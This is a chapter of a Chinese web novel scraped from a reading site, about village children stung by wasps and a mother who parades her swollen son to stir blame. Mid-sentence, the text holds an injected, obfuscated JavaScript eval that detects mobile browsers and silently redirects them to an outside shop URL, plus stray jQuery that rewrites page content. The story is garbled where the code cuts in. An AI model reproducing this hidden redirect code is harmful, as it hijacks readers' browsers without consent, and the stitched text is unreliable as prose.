默认冷灰
24号文字
方正启体

10. 心里有鬼

作者:行悠本书字数:K更新时间:
    晚饭炖的是鲫鱼豆腐汤,依旧煎了两个鸡蛋一块煮的。


    奶白的鱼汤,白嫩的豆腐快,快出锅时,撒上一把野葱花,鲜香扑鼻。混合着汤汁舀上一大勺,送进嘴里,豆腐块嫩得几乎不用嚼,只需轻轻一抿,就在舌尖化开了。


    两个鸡蛋都从中间分开,一人吃上半块。煎炸后的鸡蛋带着焦香,炖煮后又吸满了汤汁,咬上一口,畅快淋漓,别提有多下饭。


    万小兰吃得鼻尖冒出了汗,早把什么马蜂什么摔伤抛到脑后。


    杜氏一开始还担心女儿的伤,见她吃饭这般香,发现这孩子自己都不放心上,没心没肺的,也不记疼。


    那几颗野果子,在逃跑路上都掉得差不多了,兜里还剩下几颗。万小兰吃饱喝足,把果子洗干净了,先孝敬给了万秋灵,笑容那叫一个谄媚。


    万秋灵挑了颗尝了。果子酸酸甜甜的,有点像口感偏硬的李子,挺解腻,就是摘的代价有点大。


    也不知道野蜂跑干净没有?要不然杀个回马枪,干脆再去摘点得了,也不白摔一跤。


    “阿姐,我这还有。”万小兰自个不吃,眼巴巴地盯着万秋灵,缠在她身边,“阿姐,今晚我跟你睡吧?”


    原来在这儿等着她呢,万秋灵果断拒绝:“不行,睡不开。”


    她才不要和妹妹一起睡,两个人只要有一个睡相不好,另一个就休想睡安稳觉,别半夜给人踹下炕去。


    睡不开也是真的,她俩睡的小屋原本是间大屋子,后面用土坯在中间砌了墙隔开的。两个房间的炕都比较窄,一个人还能睡,两个人并排就勉强了。


    “挤一挤就行了。”万小兰开始卖惨,指着额头上的大包,“你看我都受伤了,身上好疼,一个人睡害怕。阿姐,你就让我跟你一起睡吧,好不好嘛!”


    她拽着万秋灵的袖子左右摇晃,顾及着伤口,只用手指捏了个角。万秋灵不吃这一套,把袖子拔了出来,“就是因为你受伤了才不能一起睡,我睡觉动来动去,万一压到你的伤处怎么办?”


    万小兰噘着嘴,也不递果子了。


    等万秋灵洗漱好回屋,发现被子里鼓起了一座小山丘,万小兰只露出了一半脑袋,眨着眼,正可怜兮兮地看着她。


    万秋灵:“……”


    两人一起挤在狭窄的炕上。万小兰很兴奋,完全没有要睡觉的意思,在黑暗里叽叽喳喳,东拉西扯,一会儿聊吃的,一会儿聊去镇上要穿哪件衣裳。


    说着说着,话题又绕回了白天的事情。


    “……树下面都是树叶和草,谁知道会有蜂子藏在底下呀,一点巢都看不见。”万小兰的声音带着些困惑,“那个地挺结实的呀,山里又没下雨,也不知道怎么摔的……脚下面突然就打滑了。”


    万秋灵有些昏昏欲睡,听她这么一说,倒是清醒了几分。


    她心里有个朦胧的猜测,得等明天验证一下。


    ……


    周大嘴去叫虎子起床,他仍旧一摊死鱼般趴在炕头,嘴里不断发出难受的哼哼声。


    不知道是不是那个草药威力过猛,虎子的脸肿得更夸张了。


    草药干成了一块块的硬痂,留下不少深褐色和紫黑色的印子,让虎子的脸色十分精彩,像是被人痛揍了一顿,变成染了色的发面馒头。


    周大嘴原本还盘算着,要是虎子脸上肿消得太快,出去讨说法不够有说服力。结果醒来一瞧,天爷,咋更吓人了?以前被蜂子蛰了也不这样啊,难道是草药失效了?还是捂到了……看起来是真的很严重啊!


    周大嘴这会儿倒真的有些慌张了,万一儿子有个好歹,万家赔得起吗?


    “虎子,你咋样?”她帮着儿子慢慢爬起来,趴一晚上,脖子半天都回不过弯。


    “难受,脸上紧绷绷的,又痒又疼。”


    他声音带着哭腔,害怕地小声说:“娘,我、我昨天晚上做噩梦了,吓死我了!刚要睡着的时候,迷迷糊糊……听到有东西在哭,呜哇呜啊的,是不是鬼啊?娘!是不是咱家不干净,招什么东西了?”


    周大嘴气得不轻,她昨晚假装呜咽那几声是为了谁啊?


    她抬手就想给倒霉儿子脑袋来一巴掌,看着他那颗“猪头”,又找不到地方下手,只能憋着火气骂:“放你娘的狗屁!哪里来的鬼?我看是你心里有鬼,一天天的净瞎说。”


    谁知虎子心里确实有鬼,他听了这话咯噔一下,眼神闪躲,不敢看他娘。


    难道说,娘已经知道了?什么时候知道的?


    实际上他眼睛肿成缝,别人压根看不到他慌乱的眼神,臃肿的脸颊上五颜六色也看不出脸红和异样,几个包本身就够怪异的了。


    周大嘴没好气道:“赶紧起来收拾一下,今天跟我去村头。”


    虎子听了,顾不得心虚,哀嚎道:“娘,我都这样了,还怎么见人啊!去村头干啥?被人当笑话看吗?”要是狗剩哥找他玩,他都要躲着,免得被笑掉大牙,“我不去,我哪儿也不去!就在家呆着。”


    “去不去由不得你!”周大嘴态度异常强硬,“少跟我废话,再磨叽信不信抽你?”她作势要打。


    虎子赶紧缩了缩头,他早就被打惯了,不怕疼,但是这会儿浑身上下都不舒服,遭不住一顿打了。


    见他娘铁了心,他只能豁出去:“别打别打,我去!去还不成吗!”


    被催着喝了点稀粥,虎子顶着那张骇人的脸,不情不愿地被周大嘴拽出了门。


    “虎子娘,这一大早的,带着虎子去哪啊?”


    没走多久,遇到了村里拾粪的老汉。


    “唉,去村头转转。”周大嘴满脸写着愁苦,手上暗暗使劲,把缩在她身后的虎子给扯了出来。


    那老汉看到虎子,吓得后退半步,倒抽一口凉气:“哎哟我的娘!!虎子这脸……这是咋整的?”


    “我可怜的儿啊,被山里的马蜂蛰了,差点没要了命去!”周大嘴佯装哭泣,拿袖子擦了擦不存在的眼泪。


    “这……这眼睛都瞧不见了!”老汉连连摇头,打算拾完粪回去就教育孙子,可不许去山里招惹蜂子。


    一路上遇到的人,无一不被虎子的模样吓到。无论是井边打水的妇人,扛着锄头下地的汉子,全都议论纷纷。周大嘴也不嫌累,挨个抽抽啼啼表演一通,用不了多久,整个村子都能传遍。


    有个被妇人牵着的小娃娃,看着虎子倒是不害怕,还指着他说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251296|197954||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“娘,虎子哥像,昨天糊的菜疙瘩汤……”


    意思是说他丑。


    那妇人赶紧捂住了孩子的嘴,快步走开了。


    虎子只觉得脸上火辣辣的,却不是伤口在痛。


    被指指点点了一路,他快崩溃了,多么想跑回家躲起来,但是被他娘拽得死死的。他调皮捣蛋惯了,都是别人怕他躲他,哪里被这么多目光当猴子盯着过?


    捱到村头的老槐树下,已经聚了不少早饭后话家常的村民。周大嘴拖着虎子一出现,立刻成为全场的焦点,一个抹着泪,一个模样凄惨。


    “这是虎子?险些没认出来!”


    “这是被多少马蜂给围了?”


    有人小声嘀咕:“咋肿这么厉害,不会破相吧?以后可咋说媳妇?”


    破相?虎子心里一沉,差点哭了出来,他可不想找不着媳妇!


    又有人建议道:“得赶紧找个赤脚大夫瞧瞧,抓服药喝了,说不定就好了。”


    想到又苦又涩的汤药,光闻着味儿都能吐,虎子更想哭了。


    不管别人咋说,周大嘴只轻轻抚摸着儿子的头,满脸忧伤。


    “赵家那个富贵昨儿个也被蛰了,今早我瞧着,可没这么吓人。”一个平时跟周大嘴不太对付的婶子撇了撇嘴,她就住在赵家隔壁,赵富贵身上是有几个包,只是微红,不仔细看都注意不到。


    “这倒是,平常蜂子蛰了,过几天就消了,用不着花那个冤枉钱抓药吃。”另一人附和道。


    周大嘴一听这话,心里暗骂这婆娘多嘴,面上却做出更伤心的样子,顺着话头就开始卖惨。


    “这位妹子说的是啊,要是虎子自己调皮,捅了马蜂窝被蛰成这样,也就是自认倒霉,该抓药就抓药。可是……”她故意停顿,叹了口气,说话半遮半掩的。


    果然,有人被勾起了好奇心,问她:“虎子娘,听你这意思,不是虎子的问题,还有别的情况?”


    周大嘴清了清嗓子,压低声音:“唉……我家虎子是倒霉,被、被别人给害了!”


    “被人害了?”众人听她这话,有点不太相信。虎子平时啥德行啊,只有他害别人的份儿,搞破坏、欺负小孩都是他拿手的,还能被别人害?


    可看着虎子这副惨样,质疑的话又说不出口。而且周大嘴是什么人呀,只有她跟别人叫骂的份儿,儿子吃了亏,哭哭啼啼可不是她的作风。


    “谁呀?下手这么狠?”


    “昨天后山好几个孩子被蛰了吧,五六个孩子呢。”


    “就虎子最严重?这……”


    众人开始猜测起来,看着他们母子的样子,心里的天平逐渐倾斜。平常小打小闹的没事,若是有人使坏,那性质可就不同了。


    眼瞧着目的达到了,周大嘴也不多待,拉着虎子要走:“不说了不说了,孩子遭罪,我心里这个难受啊!我得去赵家问问富贵他娘,看他家孩子咋弄的,好得快些,我也学学去。”


    她不需要把话挑明白,由着大家去讨论。


    见过虎子的模样,不少人都对她的说法信了几分,见她急着去找别人取经,都是当父母的人,不由得感慨。


    “哎,也是可怜啊……”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)